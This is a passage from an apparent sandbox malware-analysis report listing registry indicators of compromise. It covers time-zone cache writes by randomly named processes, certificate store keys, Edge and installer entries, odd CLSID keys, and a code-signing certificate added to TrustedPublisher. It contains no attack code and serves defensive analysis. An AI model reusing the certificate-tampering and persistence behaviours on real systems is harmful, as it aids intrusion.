Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-272 = "Greenwich Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2392 = "Aleutian Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1842 = "Russia TZ 4 Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates cg0CX70OJ4Nu6QLl7l5BeyN5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople 32BTXeeFoygI8bxPrAuqvca2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2632 = "Norfolk Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot mask_svc.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2001 = "Cabo Verde Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-211 = "Pacific Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs 32BTXeeFoygI8bxPrAuqvca2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdgeCP.exeMicrosoftEdge.exemsiexec.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore MicrosoftEdge.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\Clients = 3a0000000000 msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 1d24df8b702cd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C414548CC3098124D97E31A29BF7FD26\MainFeature msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 667442e24498d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\650478DC7424C37C svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 84db47f94498d701 MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5785CBDF4ABB5AD409841A692AF14EA9 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\7289246C77593EBF svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\PackageCode = "6BBF4B2F4524B25478C17BFBEE2559F7" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\Media msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45AC2TN3-666M-M32E-TO40-1MIP137D5TOZ} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\AW Manager\\Windows Manager 1.0.0\\install\\97FDF62\\" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "{70B3672E-72B2-4961-9FBE-15401B161F6A}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe -
Processes:
Setup.tmpGameBoxWin64.exeEsplorarne.exe.comEsplorarne.exe.comRUNDLL32.EXESetup (13).exeRUNDLL32.EXEdescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f Setup.tmp Set value (data) 